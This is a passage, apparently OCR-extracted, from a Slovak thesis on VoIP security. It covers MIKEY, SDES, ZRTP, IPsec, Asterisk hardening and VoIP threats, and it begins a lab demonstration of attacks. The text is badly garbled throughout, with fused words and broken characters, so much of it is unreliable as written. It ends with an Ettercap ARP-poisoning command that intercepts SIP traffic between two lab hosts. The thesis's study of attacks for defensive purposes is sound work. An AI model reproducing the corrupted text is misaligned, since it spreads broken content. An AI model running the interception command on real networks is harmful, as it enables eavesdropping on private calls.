pouzity ako TGK. Jeho prvoradou ulohou je b&ngepreniet odosielatéovu spravu s obsahom
DH hodnoty a bezgmostnych parametrov druhej strane. Generator gojeny odosielafi®om

a signalizovany prijemcovi.

TGK = g™ (4.7)
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Odosielatel Prijimatel

|_sprava = HDR, T, RAND, [IDi | CERTi ],
[IDr], {SP}, DHi, SIGNi

A J

R_sprava = HDR, T, [IDr | CERTY],
IDi, DHr, DHi, SIGNr

A

Obr.4.8: Pouzitie Diffie-Hellman key exchange

DH hodnota DHi je §, xi musi by nahodne zvolena. Hodnota SIGNi je podpis tzaigi cell
MIKEY spravu pouzitim odosielatevho podpisoveého lKica. V tejto metdde spatna sprava od
prijemcu je dblezitd a obsahuje hodnotu DHr tetlaxg je tiez hodnota nahodne a tajne zvolena.
Casova zméka - T je pouzitd z predchadzajicej odosiélatej spravy. Podobne ako
v odosielatéovej tak aj v spatnej sprave od prijemcu je podpgigzarameter SIGNTr.

4.4 Prenos Sifrovaného obsahu SDES

SDESEGecurity Descriptionsspecifikuje a zavadza do S[B¥ssion Description protogohovy
atribat ktorym sa vymigaju a dohaduju Sifrovacie parametre pre SRTP dat@nfetercrypto je
v3ak limitovany na unicastové spojenia. Sifrovagéaje nie st zabezfené, pretoze Security
Descriptions spoliahajua na nizSiu vrstvu zabéepe ako napr. TLSfansport Layer Securily
alebo S/IMIMEGecurity MIMB. Tieto bezpé&né protokoly by ochranili telo napriklad SIP spravy
s SDP protokolom atajnymi Gadajmi o Sifrovani. Celocrypto atribGt popisuje viacero
parametrov [3]. Na priklade Obr.4.9. je vyobrazeofsah SDP protokolu spolucsypto
parametrom a jeho hodnotami. Je to priklad telalT¥V/spravy UAUser Agent Phonerlite na
server s poziadavkou o vytvorenie hovoru.

Session Description Protocol Version (v): 0

Owner/Creator, Session Id (0): - 4055796025 O IN IP 4192.168.1.41
Session Name (s): SIPPER for PhonerLite

Connection Information (c): IN IP4 192.168.1.41

Time Description, active time (): 00

Media Description, name and address (m): audio 4500 4 RTP/SAVP 083101
Media Attribute (a): rtpmap:0 PCMU/8000

Media Attribute (a): rtpmap:8 PCMA/8000

Media Attribute (a): rtpmap:3 GSM/8000

Media Attribute (a): rtpmap:101 telephone-event/800 0
Media Attribute (a): fmtp:101 0-16
Media Attribute (a): crypto:1 AES CM_128 HMAC_SHA1 80

inline:vsp2ZhtOy9tiX+nq6EUb850Q0I1Y/2Xkpla2kCBFN
Media Attribute (a): encryption:optional
Media Attribute (a): sendrecv

Obr.4.9:  Security descriptions SDES

4.5 Bezpe¢€nostny protokol ZRTP

Je rozSirenie protokolu RTP a SRTP. Ide o relativowg protokol a je to isty Standard pre VolP.
Asi najddlezitejSou vlastnésu je Ze nevyZaduje znatotajnych Kucov dopredu, tak akolkicov
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verejnych alebo digitalnych podpisov. Ako prostdkdvymeny Klcov pre zaloZzenia SRTP
spojenia sa pouziva datova hlasova zloZzka a nievakmohych inych pripadoch signalkire
pakety (SIP, H.323). V pripade tohto protokolu dd(Diffie-Helmar) kI'ice novo generované pre
kazdé spojenie a nevyuZiva sa tretej strany Pi(ic Key Infrastructurg Spominanou vyhodou,
nezavislog na signalizénom protokole znamend Ze je nezavisly na signaigavrstve pretoze
celd komunikacia prebieha v RTP streame. Automgtgkimaci druhy VolP klient podporuje
ZRTP alebo nie. Samotna vymena D-Hida vSak nezabezpegje ochranu proti MiTM@an in the
middle uatokom. ZRTP ztoho dbévodu umaie dokaza pravos klica pomocou kratkej
overovacej frazyghort Authentication String — SAR 7], ¢o je hash dvoch D-H hodnét. Tato fraza
je zobrazena na oboch komunikujucich stranachajdas preéitana a druhou stranou potvrdena.
Tymto sa zamedzi MiTM utokom. ZRTP je mozné ti@ko doplnok resp. plugin k softwarovym
telefonom pre podporu zabezpaia. Na kniZnice protokolu ZRTP satahuje verejna licencia
GPL ¢o umouje vd’né Sirenie.

Alica Bob

Hello(verzia, A - ZID)

HelloACK

A

Hello(verzia, B - ZID)

HelloACK

A\

Commit(B — ZID, has)

A

DHPart1(pvr,tajny has)

Y

DHPart2(pvi,tajny has)

A

Confirm1(HMAC,D,A,V,E, sig)

Confirm2(HMAC,D,A,V,E, sig)

A

Conf2ACK

SRTP data

Obr.4.10: Vytvorenie SRTP spojenia pomocou ZRTP [17]

Spojenie sa inicializuje spravou ZRTHRello, ktord poSle jeden s koncovyclastnikov. Tym
potvrdzuje podporu ZRTP protokolu, ako aj podporgeanalgoritmov. Taktiez obsahuje ZRTP
Cislo takzv. ZID. Ide o nahodne generovanu 96-bitpe8tupnog na zd&iatku kazdého spojenia.
Druha strana odpoveda potvrdzovacou spravelloACK ZRTP pouZiva znovuvysielacie
casovde, kal'ze je to protokol pracujuci nad UDP prenosom. ZRSpiPAvy obsahuju has obraz,
ktorym sa spdjaju atym odmietaju faloSne vioZze€TE spravy. Po vymeneélello spravy
nasleduje sprav&ommit ktora Specifikuje pouzitylKicovy mod. ZRTP zatiapodporuje celkom
tri médy [17]. Nemusi vSak IByvyslana okamzite pretoZze mézet'bgktivovana uzivatiskym
tlacidlom GO SECURE. V tejto praci si priblizime D-H mdd.spravachDHPartl aDHPart2 si
komunikujuce strany vymenia verejné D-H hodnoty.zZ#&@ strana si potom vypida SRTP
Sifrovacie asalt kl'dce. Overovaci strin®AS modze by volitelne zabezpgeny digitalnym
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podpisom v podobe hodnotsig v spravachConfirml aConfirm2 ako aj samotné potvrdenie
uspesneho vygtu kI'acov. Confirmspravy obsahuju viacero zfiek takzv.flag [17].

4.6 Bezpeénost na siet'ovej vrstve — IPsec

Je jednym z najrozSirenejSich internetovych zaliem@eich protokolov, ktory bol definovany
skupinov IETF[nternet Engineering Task Forgele to robustny protokol zabeZpgici integritu
dat, overovaciu schopngsutajenos(zaSifrovanie) a samotnu transparenthast pre vySsSsie
vrstvy napr. aplikéné. Napriek tomu IPsec nieje vhodny pre celkovéezpenie medzi
koncovymi bodmiénd-to-endl Ako priklad by sa dalo pouZ&ifrovanie dat po celtizku spojenia
a tym znemoznenie prekladu resp. akiuek zadsah prechodnych SIP proxy servrov do spné&toP
je pouzitie IPsec mozné iba v pripade deSifrovaoiaazdom skokinop).

Dva hlavné Sifrovasie spbdsoby pouzivané v IPsec AH(Authentication Headégr
a ESPEncapsulating Security PayloadPrvy zo spominanych neSifruje prends, v realnej
situacii predstavuje \foe viditd'né data. Napriek tomu zabeZpg ostatné mechanizmy a teda ich
integritu, ochranu proti takzweplay utokom kapitola 7.4.2 a overenie pévodu dat. Aldagauje
pri spravnej implementacii rovnaké data prijaté dkdi odoslané. Jeholécom overovacieho
procesu je ICMftegrity Check Value ¢o je vlastne hash zaloZeny na tajnoiack prep@itanom
na poliach s IP adresami. Pouzivame transportmneldvy mod. AH sa v transportnom mode
vklada hne’ za IP hlawiku a pred protokol z vyssSej vrstvy (TCP ako na @bi alebo sa méze
pouzt’ UDP). V tunelovom madde je paket z&&ny o 20 bytov, pfom ani jedno z poli nie je
zaSifrované. Nemoznopouzitia NAT(Network Address Translatipa IPsec AH vyplyva prave zo
spominaného parametra ICV, ktory &p@a v prepditani ako zdrojovej a cievej IP adresy, tak aj
kontrolnych sdtov IP hlavtiek a TCP resp. UDP hlaiiek. Ako NAT meni tieto hodnoty, neméze
zarovei prep@itat’ ICV pretoze ako transportné zariadenie nepozng tdji.

Transportny mod

|- - - - - - - - - - - - " "7 -"7=-=-= B T | I 1
AH TCP
| IP HEADER | Hiavitka | hlavicka
Y v L4
P CHK | sIP DIP AH TCP | CHK | TCPDATA
Tunelovy mod
|- - - - - - - - - - - -7 -7 === T~ 3 T~~~ T T r——=n
AH
! Nova IP hlavitka ! Hiavicka IP hlavitka N
\
P CHK | sIP DIP AH P CHK | SIP | DIP | TCP | CHK| TCP DATA

Obr.4.11: Mechanizmus AH(Authentication Headenansportnom a tunelovom maode
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Transportny mod
|- T T T T T T T T T T T T T T T T T T T 7 s 17 T 1ep r——-"1

! ESP |, TCP | ESP
IP hlavigka Hiavitka | hlavicka | TA
A _ y A 4 Y v
- Sifrované bity
IP CHK SIP DIP ESP TCP-. | CHK | TCP'DATA | ESP
Tunelovy mod
I e 1 S -7
ESP |
! Nova IP hlavicka Lot | IP hlavitka 1oTee | 1 ESP |

‘} vhlaviéka‘ v T/A *

P | CHK | sIP DIP | ESP |. IP CHK.'| . SIP."| DIP" | TCP | CHK | TCPDATA | ESP

Obr.4.12: Mechanizmus ESP(Encapsulation Securiyjyoge) v transportnom a tunel. méde

Hlavné pouzitie ESP protokolu sfiea v Sifrovani, overovacia funkcia bola postupnégna
neskdr. Na Obr.4.12 mbézme vidigobrazenie hlatky op& v transporthom a tunelovom made.
V oboch mdédoch za IP hlaskou nasleduje ESP hlakia za ktorou su vSetky déata Sifrované,
pricom posledné miesto v pakete je ESP trailer Juole s autorizznym politkom(T/A).

V tunelovom mdde, ako je patrné v druhom paketébrz4O12 je cely povodny paket zaSifrovany
a nova IP hlawika obsahuje informéacie o predposlednej zdrojova¢lovej brane. ESP sa celkovo
lepSie znaSa s prechodom cez NAT ato z dévodupoeitania zdrojovej a cimvej adresy do
overovacieho sfiu.

4.7 Analyza a vlastné porovnanie metod zaistenia be  zpeénosti VoIP
systému

V tejto kapitole by som chcel prediskutdva teoreticky zhrnfl uvedené metody zabezjeaia
v suvislosti s mozna'ami Open Source aplikacii.

Ako prvé by som analyzoval metddy zabempea signalizacie. MoZnosti pouZitia protokolu SIP
d'aleko rozsiahlejSie ako proprietarneho ale vynigafjio protokolu IAX. Véka v&Sina VolP
telefonov a softwarovych softphonov natestie nepodporuje hovory obsluhované I|AX
signalizaciou, a preto tento zaujimavy protokobwatpre minoritn@&as’ VolP uzivatéov, napriek
tomuto faktu sa stale zvykne pou#ivako interny signalizay protokol medzi Asterisk
Ustrechami. SIP sa tak stal nepisanym pravidlom pouZzigpadizacie pre VolP. Vynimkou su
dalSie hojne vyuZivané ale proprietarne signatigza protokoly ako SKINNY vlastnené
spolainog’ou CISCO.

Autoriz&cia protokolu SIP pri Ziadtech REGISTER a INVITE sa dnes povaZuje za samozréjmos
u v&siny poskytovatkov internetovej telefonie. Dobrym krokom by bol@$ai’ tito moznos aj

na dalSie napr. BYE, CANCEL. Zabranilo by sa tym nigkgm bezpénostnym dieram. Aby
autorizacia mala naozaj zmysel musia sa dodrZiasaady vytvorenia bezgrgho hesla. S/IMIME
ako bezpeéna verzia MIME sprav sa v prostredi VolP systémekmi nepouZiva a je vyuZitea
skor v emailovom svete. Narozdiel od zab&gpéa transportnej vrstvy protokolom TLS, ktory je
perfektne vyuZiteny vo viacerych oblastiach zabezpeia aplikg&nych protokolov(https, sips). Na
podporu tohoto protokolu sa viditee kladie véky doraz a Asterisk dokaze pracéva TLS
protokolom od verzie 1.6.x, ako si ukazeme v naglerdch kapitolach. Existuje aj niekm vo'ne
dostupnych softphonov s priamov podporou vytvordii& komunikacie a vymeny certifikatov.
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DalSoucag’ou zaistenia bezgrosti VolP premavky st metody Sifrovania hovoruprgsrenosu
medialnej¢asti — RTP. Pre koncovych uzivete — volajucich je pravdepodobne najdblezitejSim
faktom zabezpgenia VolP Sifrovanie samotného hovoru. Istota praeea z vedomia, Ze volany
¢lovek je naozaj jedina osoba schopn&ysohovorené slova. Preto predpokladantsidzaujem
ludi o aplikacie s podporou protokolu ZRTP, kde uEisky prijemnyZfone naozaj efektivne
zabezpéi resp. zaSifruje hovorovidas’ spojenia. Tato mozndsSifrovania hovoru taktiez
nepotrebuje Ziadne komplikované kompilacie a kamfigie programov ako napr. SRTP, ktory
momentalne vyZaduje Specialnu verziu Asterisku sheial konfiguraciu. ZRTP je pre Ustiied

a prechodné uzly skoro transparentny, pretoZe hoste pouziva uz zinicializované RTP pakety.
Na druhu stranu spravne nakonfigurovana podporaPSRDtokolu, so zabez{enou vymenou
kraca bui” MIKEY protokolom alebo po zabezgenej transportnej vrstve pomocou TLS protokolu
nevyzadujé Ziadne doddtme aplikacie a hovory budu prebiéhsabilne bezpme a Sifrovane.

Tabuka Tab.4.1. prdladne zobrazuje diskutované moznosti zab&sma ich vyhody, Urove
zabezpéenia ale aj nakmog’ implementacie.

Tab.4.1.Prelfad metdd zaistenia bezjp®sti VolP systému

Metody zaistenia signalizacie
Uroven Naroénost Vyskyt a Autori Bezpeéna
. utorizace , vy
ochrany implementace podpora vymena kl'déov
Digest MD5 stredna nizka vysoka MD5 -
S/IMIME stredna vysoka nizka MD5 Ano
TLS - SIPS vysoka stredna Stredna -1 Ano
MIKEY vysoka stredna nizka MD5 Ano 2
Metddy zaistenia RTP prenosu
Uroven Naroc¢nost’ Vyskyt a End-to-end Bezpecna
ochrany implementace podpora security vymena kl'aéov
SRTP vysoka 3 stredna stredna ano? nie
ZRTP vysoka nizka stredna ano ano (D-H)
IPsec vysoka vysoka stredné ano ano (IKE)

1 - TLS vrstva prebieha nad TCP spojenim a celd komunikacia je Sifrovana, autentizacia vychadza z certifikatov

2 — protokol MIKEY podporuje niekolko metdd, metdda zdielanych kli¢ov - PSK, metdda verejnych kliCov — PKE a diffie-

hellmanovu metddu - DH

3 - po bezpeénej vymene kii&ov pomocou TLS, S/MIME alebo MIKEY je hovor kompletne zabezpeceny
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5 Open source aplikacie a moznosti zabezpe ¢€enia

5.1 Pobo c¢kova ustred na Asterisk

Medzi najzndmejSie IP PBR(blic Exchangg Ustredne patri dite Asterisk, m6Zzme hovatio
naozaj komplexnom zariadeni poskytujace Sirokuwskéizieb. Podporuje platformy Linux, BSD,
OS X ale aj Windows(na emulaej aplikécii). Pravdepodobne najé@u vyhodou tejto Ustredne je
jej kompatibilita s naozaj mnozstvom inych typovekemmunik&nych sluzieb. Existuje moznis
prepoji’ Asterisk s PSTNRublic Switched Telephony Netwprelefoniou pomocou Specialnych
hardwarovych kariet, T1 a E1 rozhrania pre pripgenprimarneho ISDN pristupu. Mnoho
hardwarovych kariet vyraba priamo Digium, ktory iedslavni zodpovednésa vyvoj a podporu
komeknej verzie Asterisk. Existuje vSak mnokkalSich firiem, ktoré sa zaoberaju vyvojom
hardwaru pre tato ustréd. Vyvijaju sa karty so zakladnym ISDN pristuporkzta BRI, ale aj
karty pre spojenie s mobilnymi technoldégiami GSMbal CDMA. Asterisk podporuje klasické
signaliz&né protokoly SIP, H.323, MGCP, ale programatori pol&nosti Digium vyvinuli
taktiez, skor spominany vlastny signafiag protokol IAX(Inter Asterisk Exchangg ktorého
velkou vyhodou okrem binarnej Struktury je aj samofaitt, Ze k svojmu datovému prenosu
pouziva iba jeden port ako pre signalizaciu taklagovu zloZzku. Tym odpadajtasté problemy
vznikajuce pri prechode cez NANétwork Adress Translatidis ktorymi sa potyka prevazne SIP.

Moznosti zabezgenia PBX Asterisk vychadzaju hlavne zo zabéep& pouziteho signalizaého
protokolu. Tieto zabezgenia su podrobne opisané v kapitolach 3.1 - 3.4Anfepiem vSak
niektoré moznosti zmeny parametrov konfiguracie maySenie zabezgenia Asterisku.
Konfigurainé subory Asterisku aksip.confaleboiax.confumoziuju zmenu niektorych zakladnych
parametrov, ktoré do istej miery ovphju zabezpé&enie Ustredne resp. spojeni ktoré Usteed
obsluhuje. Jednym z prikladou je parametkrwguest ktory je ale defaultne nastaveny na hodnotu
,yes“. Tym je umoznené volanie neautorizovanyclevakhostovgues) do Asterisku. To moze
vytvorit’ istu slabinu a zaroviedieru pre rbzne Utoky z tretich stran.

5.1.1 Podpora protokolu SRTP

Podrobny opis protokolu SRTP a jeho Struktdru naglenkapitole 4.2. V tejto kapitole stine
priblizim podporu Ustredne Asterisk pre tento $i&ad protokol.

Vyvojari aludia blizki Asteriskufisterisk Communijysa zaoberaju mysSlienkou implementacie
SRTP protokolu do Asterisk Ustredne uz od roku 2[X3. V priebehu niektkych rokov sa im
podarila vytvor® naozaj funkna verzia ,Asterisk SVN-group-srtp-r183146M-/trunkTerry
Wilson, jeden z vyvojarov Asterisku sa v poslednéase poku3a zdir' podporu SRTP protokolu
s poslednou verziou Asteriskén je momentalne 1.6.3. Jeho pokus je dostupny (ssbkersioh
servra pod nazvom ,Asterisk SVN-group-srtp_reb@ss5260M-/trunk”. Komunita Asterisku
vSeobecne apeluje na implementaciu podpory SRTvejnverzii Asterisk 1.8. Praktické
otestovanie a moznosti tychto verzii priblizim \plkare s experimentalnymi utokmi aich
naslednému predchadzaniu.

5.1.2 Podpora protokolu TLS

Podobne ako predchadzajuca implementacia SRTP dpkpio TLS je podrobne opisany
a vysvetleny v kapitole 3.1.3. Od verzii 1.6.x (nm#&)08) je implementovand podpora TLS
protokolu a nachadza sa aj v momentalne posledesgiiva trunku(verzia Asterisku s dennym
prispievanim od vyvojarov, podmienka je ale Uspd@rapilacia programu). Asterisk s podporou
TLS predstavim prakticky v kapitole 8.1 s variammyppatreniami proti jednotlivym tutokom.
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5.1.3 Asterisk a vymena R’a¢ou - MIKEY

Tento protokol ma podobny osud ako Asteriskovaiaeszpodporou SRTP. Nieje implementovany
v poslednej verzii ani v trunku, je vSak mozné tialmu’ a testové podobne ako predchadzajuce
verzie z svn servra digium, zdroj uvedeny v pril@heé/daka v&mi nizkemu poétu implementacii
MIKEY protokolu ajeho podpore u softphonov, mon&né¢ znamy len jeden Minisip, ale aj
vyrobcov klasickych telefonov, bol vyvoj tejto vexzatid odlozeny [21].

5.2 Koncovy uzivatelia ( User Agents)

V tejto kapitole priblizim pouzivané VolP User Ageftakzv.SoftphonesVSetky mnou pouzivané
su vd’ne dostupné na internete akeewarealebo pod licenciou GPGeneral Public Licenge
Tychto aplik&cii existuje naozaj nepreberné mna¥stto na platformy Windows, MAC OS alebo
Linux. Podporované a vybavenejSie kodmgr verzie su dostupné po zakupeni licencie online.
Mo6Zeme ich rozdefi aj pod’a podporovanych protokolov a Sifrovacich mechanizméSetky
pouzité softphone aplikacie sa nachadzaju na rloih DVD alebo su Voe stiahnuttné z webu,
adresy su uvedené v prilohe C.

. X-Lite — Ve’'mi znamy a vyborne fungujuci VolP klient od firnGounter Path Ta sa
ale Specializuje hlavne na vysSie a hlavne platedg softphonov a komunikatorov —
EyeBeam a Bria(Podpora TLS a SRTP). Dostupné sabdiste pre Windows, Mac ale
aj Linux platformu.

. SJPhone — Jeden z najznamejSich ,Soft" telefénov pre doroatinale aj véSie
podnikové rieSenia. Vyborny klient pre Windows aleLinux od SJLabs, samozrejme
podporuju ajPocket PCplatformy. Poskytuje vSak len moZzmoautorizacie klienta,
Ziadne Sifrovanie.

. Phonerlite — VoIP aplikacia pochadza z Nemecka a jdattienou verziou pbévodnej
aplikacie Phoner. Je dostupna len pre platformudéivs. Tato verzia narozdiel od
povodnej Phoner podporuje len VolP hovory, zato alennohymi rozSirenym
vlastnosami a bezpénostnymi protokolmi — SRTP, TCP, TLS.

. Minisip — Tento User Agentje vybaveny mnohymi uzitmymi bezpénostnymi
protokolmi od TCP po SRTP s MIKEY vymenolitkou. Existuje verzia pre Windows,
Linux ale aj PocketPC platformu. NaxasStie projekt Minisip v poslednokase nema
velkd podporu, ak vobec. Celkovo by sa verziam hodildppra a postupné odlavanie
chyb, kefZze je to jediny vbne Siritény softphone s takouto Sirokou podporou
bezp&nostnych protokolov.
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6 Zname hrozby pre VolIP sluzby

6.1 Definované formy utokov

Organizacia VOIPSA(olP Security Alliance [18] sa zaobera vypracovavanim a popisom
najroznejSich utokov na hovorové sluzby po IPtasé Obr.6.1. Spolupracuje s desiatkami
vyrobcov, poskytovat®v telekomunikanych sluzieb ako aj z prednymi inZiniermi. Orgaciaa
ma niekdko pracujucich skupin. Delia sa na:

+ Definicia moznych hroziebfireat Taxonomypre VolP zariadenia, sluzby a koncovych
uzivatéov.

. Bezpe&nostné poziadavk$gecurity Requirements definuja konkrétne poziadavky na
zabezpeéenie Sirokého spektra VolP systémov z roéznyiddrsk.

¢ Praktické zabezgenieBest Practicg opisuje najbeznejSie vhodné praktiky na
zabezpeéenie VolP systémov proti hrozbdm opisanymhveat TaxomonyNapriek tomu
Ze praktické pokyny su viazané na konkrétnych vgoeb poskytuje aj celkovy préad
ako najlepSie ochranVolP systém.

6.2 Metddy VolP utokov

Za utok tretich stran m6zeme povazivako umyselne preruSenie VolP sluzby tak aj ¢dpanie
popripade zmenu RTP dat v samotnej komunikaciirdtdjrenejSie metddy utokov prerusenia
alebo zmeny hovoru spivaju v spésobe uskuinenia. Mé6Zme si ich predstaako:

1) Utoky zaloZené na zahlteni sluzby paketmi a tymyd@enim samotného hovoru alebo cele;
sluzby. Tieto Utoky sa povazuju za najbeznejSig,pepade masového pouzitia, spusteného
cervom z tisiciek péitacov takzv. DDoSDistributed Denial of Servigesposobuju problémy aj
zabezpeéenenym a sg@hlivym serverom a aplikaciam. Ich vyhodou je Zen¥#u pouZivé na
v podstate akéKwoek IP technolégie.

2) Utoky spaivajice v zmene resp. manipulacii signalisgch a datovych zloziek spojenia.
Realne pouzitie tychto utokov je podstatne obmedzamzdvisi na konkrétnych parametroch
spojenia akaCalllD, Timestamp, From, Ta pod. TaktieZ isté zavedené bezmstné opatrenia
prispievaju k znemozneniu uskdteenia tychto Gtokov.

Obidva typy Utokov dok&zu v istych pripadoch’me zneprijemni Zivot ako uzivattom tak aj
administratorom. V istych pripadoch dokazu uUplneady sluzbu =zinnosti, ¢o mbéze mé
v konkrétnych situaciach fatalny charakter.

6.3 Utoky typu ,Man in The Middle®

Odpa:uvacie nastroje MiTM{lan-in-The-Middl¢, volny preklad ,muz v strede”, mézu ye’'mi
nebezpéné z Wadiska integrityci déveryhodnosti hovorov. \t8ina z nich funguje na principe
APR tzv. ARPAddress Resolution Protokol Poison Roufingko vieme ARP je dbélezity protokol
z hradiska smerovania paketov medzi koncovymi zariad®enia uzlami v sieti. APR poisoning
umo#ziuje ,otravi® ARP tabd’ku dvoch zariadeni, ktoré planujeme odpeet’. Po uskutdneni
atoku su napadnuté zariadenia v domneni, Ze korapinien medzi sebou. NarteStie pre nich
cez MIiTM stanicu prudia vSetky ich data, to unnge skenové ich celkovy prenos bez vedomia
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uzivatdov. V kratkosti spomeniem dostupné aplikacie s poop MiTM Gtokov, prakticky su
aplikacie priblizené v kapitole 7.2.

¢ Cain & Abel — Pravdepodobne jeden z najkomplexnejSich MIiTM rofst pre
platformu Windows. Ma vyborne GUWEraphical User Interfacerozhranie a intuitivne
ovladanie. Obsahuje aj nidka haSovacich nastrojov a algoritmov pre rozlugteni
a napadanie desiatok réznych Sifier a hashov akd1SH MD2-5 a mnoha’alSich.

¢ Ettercap — Jed’alSim z MiTM aplikacii, ktory funguje na zaklade ™l a APR utokov.
Funkciou je vémi podobny predchadzajucemu Cain & Abel. Jeho platfwu je vSak
Linux, obsahuje taktieZ grafické rozhranie ale pkavykom pod linuxom je k dispozicii
aj CLI(Command line interfageozhranie. Od verzie ettercap-NG-0.7.3 je momés’
program aj pod systémom Windows. Ettercap vSak kigpa vSetky rozmanité funkcie
ako Cain & Abel, teda nahravanie RTP streamovitpoie haSu a podobne.

¢ Dsniff — Linuxova aplikacia umatujuca ARP poisoning pomocou programu arpspoof.
Napriek tomu, Ze tento program nie je ri&to vybaveny ako predchadzajiuce je stale
vel'mi u¢innym odp@uvacim zariadenim. Pri odposluchu je nuthost’ k dispozicii tri
termindlové okna, na ovladanapspoofprijem paketov), aplikaciu na preposielanie
prijatych paketov smerom Kk prijimditary a jedno na vedenie samotného odposluchu
napr.tcpdump
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Falosné zastupenie

, . L . (Misrepresentation)
Neopravnené odpocuvanie - identita
(Eavesdropping) i .

; - pravomoci
- analyzovanie provozu . :
L - opravnenia
- nahravanie provozu
, L . - obsahu
- ziskavanie identit
- rekonstrukcia zachytenych
sprav

Kradez sluzby (Theft of service)

- neopravnena zmena alebo mazanie
Uctovanych poloziek

- nezakonne pouzivanie platenych
sluZieb

Hrozby VolP

Nevyziadané spojenia

Zneuzivanie sluzby (Service Abuse)
- zatajenie identity

- umelé zvysSenie platenych sluZieb

- Uprava fakturanych udajov

~

Strata napajania (Loss of Power)

Vycerpanie zdrojovych prostriedkov
(Resource exhastion)

Vykon a oneskorenie
(Performance Latency)

- Jitter < 25ms

- Latency < 150ms

- BER(Bit Error Rate) < 0,25%,
strata paketov < 5%

\

Zachytenie a modifikacia

(Interception and Modification)

- zahadzovanie alebo odmietanie paketov
- presmerovanie paketov

- Uprava a zkreslenie paketov

- falo$na identifikacia

Obr.6.1:
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(Unwanted contact)

- otravujuce

- nasilné

- s nezakonnym obsahom

Fyzické narusSenie (Physical Intrusion)
- pristup do priestorov so sietovym zariadenim
- pristup ku kablom a médiam

-

Poprenie sluzby (Denial of Service)
Odmietanie VolIP sluzby

- zahlcovanie poziadavkami (Request Flooding)
- neplatné spravy (Malformed Messages)

- zneuzitie QoS (QoS Abuse)

- faloSné spravy (Spoofed Messages)

- prepadanie hovorov (Call Hijacking)

Odmietanie sietovych sluzieb
Problémy s OS, Firmware a pod.

Distribuované poprenie sluzby

-

Predstavenie znamych hrozieb VolP systgomod’a Threat Taxonomji8]



7 Experimentalne generovanie utokov

V tejto ¢asti diplomovej praci si ukazeme r6zne moznostkanona sluzby pobitkovej Ustredne
Asterisk ako aj vSeobecné moznosti napadnutia \felfénie. Zameriam sa na Open Source
programy ku ktorym ma Siroka verejiogolny pristup a tym do z@aej miery predstavuju hrozbu
pre vyrobcov a operatorov VolP technoldgii, zatoate aj vyborni mozndsako svoje zariadenia
resp. aplikacie otestovaroci znamym hrozbam Obr.6.1. Niektoré utoky je moZzpézx’ aj na iné
sluzby IP sieti ako VolP, v naSom pripade je adorn hlavne server Asterisk s vybranymi VolP
UAs(User Agent

7.1 Konfiguracia experimentalneho systému

V tejto casti by som ako prvé priblizil pracovnu stanicu ktarej som pracoval resp. popisa
prostredie a celkovu konfiguraciu.

Pracovné prostredie predstavoval moj osobuitab (2.4 GHz Intel Dual-Core) s op&raym
systéemom MS Windows 7 a programom pre virtualnejet¥irtualbox vyvyjany spoknogs’ou
SUN, nedavno vSak SUN zakupila IT spmlog’ ORACLE. Preto aktualne aj Virtualbox patri pod
ORACLE. Pod tymto virtudlnym rozhranim som mal nafagtanych niektko samostatnych
systémov. Dve stanice s op&mgm systémom Microsoft Windows XP, ktoré predstalodvoch
komunikujucich @astnikov. Pre Windows som sa rozhodol z dévodu geda&nej prevahy
koncovych stanic s prostredim Windows v domacnadstiée aj podnikovyh rieSeniach v porovnani
s linuxovymi strojmi.Dal$im virtualnym systémom je naindtalovana linuxolgtriblcia Debian
5.0.4 s jadrom 2.6.26, predstavujucachika. Virtualny systém Proxy/Registrar server jenaka
verzia linuxu Debian, tentokrat uz ale verzia beafigkého prostredia. Dodatoe bol pomocou
automatického instataého programu apivanced packaging toglsdoinStalovany batek
Asterisk. NainStaloval som konkrétne verziu 1.£22#fsg-3 verejne publikovand a pridand
v repozitaroch Debian. Distribdciu Debian som zvaidovodu vémi dobrych skusenosti
s funkénog’ou a stabilitou samotného linuxového systému. ovesty VolP server Asterisk pini
funkciu ako Proxy tak aj Registrar servra. Cela &@uh& je publikovana pod licenciou GPL
(General Public Licenge ¢o znamena Ze aplikacia je zdarma alneo Siriténa. Ulohy
softwarovych telefonov takzv. klientov na strojo&Nindows plnil Phonerlite alebo Zoiper
Communicator, ktory nativhe podporuje ako SIP taklAX protokol, blizSie o pouzitych
aplikaciach v kapitole 5.2. V pripade softphddbonerlite je délezité vypntl podporuMulticast
DNSvV zalozkeNetwork ktora smeruje pakety priamo naldey host a nie na server Asterisk ako
by sme to vyzadovali, v niektorych pripadoch tokailo v testovani.
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Proxy/Registrar server Virtualbox - N

Utoénik 19§S1tgg31k36 Virtualna éast
192.168.1.39 ° -
user_sip100 S
-~ sip200
192.168.1.38 192.168.1.37
192.168.1.0/24

Pracovna stanica

Obr.7.1:  Konfiguracia pracovného prostredia

Toto pracovné prostredie v3ak nispo v3etky poZiadavky z pthdu testovania. A preto som
v niektorych pripadoch pouzil gjastane odliSna konfiguraciu od Obr.7.1. Pri kazdomdeanhi
sU popisané pripadné zmeny v konfigurécii, ak fiadta sledovanie a odchytavanie tgej
premavky som pouZzival dobre znamy Wireshark, vioigkh pripadoch tak Linuxovy program
tcpdump Pouzité aplikacie su prilozene na DVD rosiich webové zdroje uvedené v prilohe C.

7.2 Predvedenie utoku MiTM

Princip a podstata Gtoku MiTW@n-in-The-MiddI¢ je opisana v kapitole 6.3. Utok MiTM tvori
principialne jednoduchy systém, ktory je zékladom pdchytavanie dat na lokalnej sieti resp. ich
modifikovanie a vkladanie uz upravenych dat bezoweid komunikujucich stran.

ARP spoof

192.168.1.39 Q/

08:00:27:2f:8a:2e 3

ARP tabulka

192.168.1.1 00-23-f8-26-66-4d
192.168.1.34 00-c0-9f-a7-96-17
192.168.1.36 08-00-27-2f-8a-ae

ARP tabulka
192.168.1.1 00-23-f8-26-66-4d
192.168.1.43 08:00:27:2f.8a:ae

192.168.1.0/24

usersip_100 Asterisk server
192.168.1.43 192.168.1.36
00-1a-4d-54-38-e2 08:00:27:1c:dd:1b

Obr.7.2:  Utok MiTM a ,otravenie* ARP talfky

V tejto casti experimentalnych Gtokov by som rad predvieddTM Utok pomocou programu
Ettercap. Na konfiguraciu opisanu v predchadzajl@gitole 7.1 som doinStaloval program
Ettercap NG-0.7.3. OpanajvhodnejSou cestou ato kabvého nastrojaapt Po UspeSnom
nainStalovani programu, pomocogttercap —help zobrazime prdladne moZnosti spustenia,
ktorych naozaj nieje mélo. Pre zaujimatpsedvediem utok z prikazového riadku, af’kaplikacia
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umoziuje aj dodatoné spustenie v GURraphical User Interface Po odoslani nasledujiceho
prikazu sa program spusti a do suboru file.cap dsdnytdva cely prenos medzi definovanymi

zariadeniami:

# ettercap -w file.cap -T -M arp:remote /192.168.1. 43//192.168.1.36/5060

